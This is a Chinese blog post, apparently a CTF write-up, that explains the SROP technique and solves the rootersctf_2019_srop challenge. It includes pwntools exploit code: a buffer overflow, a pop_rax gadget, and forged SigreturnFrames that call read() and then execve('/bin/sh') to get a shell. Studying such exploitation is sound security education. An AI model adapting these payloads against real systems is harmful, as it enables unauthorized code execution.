0
点赞
收藏
分享

微信扫一扫

srop学习:【rootersctf_2019_srop】

河南妞 2022-03-24 阅读 9

最近学习了一些srop的一些知识,这里通过一道题目来加深一下对srop的运用。

文章目录

1.srop的简单介绍

这里推荐大家一篇文章srop
SROP全称为Sigreturn Oriented Programming,其攻击核心为通过伪造一个‘Signal Frame’(以下简称sigFrame)在栈上,同时触发sigreturn系统调用,让内核为我们恢复一个sigFrame所描述的进程,如一个shell、一个wrtie系统调用打印栈地址等,同时通过对sigFrame中rsp和rip的修改,连接多个sigFrame,可通过多次触发sigreturn系统调用,依次恢复多个sigFrame,实现不同的功能,构成SROP攻击。一个sigFrame可理解为一个进程被挂起时,用于保存进程的数据结构,当进程恢复时,通过触发sigreturn来恢复sigFrame,从而恢复一个进程。

SROP漏洞之所以能构成利用,是因为内核挂起某进程时保存的sigFrame和内核恢复某进程还原sigFrame的两个sigFrame,通过对栈指针寄存器sp的控制,不一致,从而还原出一个攻击者想要的进程。

srop也是通过这样的方式来攻击目标靶机从而get shell或读取flag的.

2.rootersctf_2019_srop题目

例行检查

在这里插入图片描述
64位程序,栈不可执行。

漏洞分析

在这里插入图片描述
函数的主逻辑:
在这里插入图片描述
可以看到汇编语言可供我们用的代码段不是很多,但注意到存在pop_rax_ret,可以控制rax,结合syscall来进行系统调用,这道题目为静态链接,所以我们不能返回libc来算地址,程序中也不存在system,binsh,我们可以利用srop来构造出一个伪造的栈空间,当系统调用sigreturn后,会利用栈上的数据恢复出一个进程,我们这里就可以构造出一个恶意进程。

思路

1.通过在栈上布局好我们的payload,调用完sigreturn后,让内核为我们恢复出一个read(),
2.我们通过read()将binsh读到data段(因为程序可利用的太少,我们考虑使用data段)
3.之后再通过srop来恢复出一个execv(),从而get shell.

exp分析

调用read():

syscall = 0x401033
main = 0x401000
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x402000 #data
frame.rdx = 0x100
frame.rip = syscall
frame.rbp = 0x402000 + 0x20 #设置一个buf大小,进而再次栈溢出

io.recvuntil('?')

payload = 'A'*0x88
payload += p64(0x401032)#pop_rax
payload += p64(0xf)   #15号调用
payload += str(frame)

gdb.attach(io)
io.sendline(payload)

在这里插入图片描述
系统调用sigreturn,之后会为我们恢复出read().
在这里插入图片描述
binsh地址有了,
在这里插入图片描述

接下来我们就进行execv()的构造,

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x402000
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = 0x401033
payload = '/bin/sh\x00'
payload = payload.ljust(0x28,'A')
payload += p64(0x401032)
payload += p64(0xf)
payload += str(frame)

io.sendline(payload)

在这里插入图片描述
构造好的三个参数,从而get shell.
在这里插入图片描述
喜提flag!!!

举报

相关推荐

0 条评论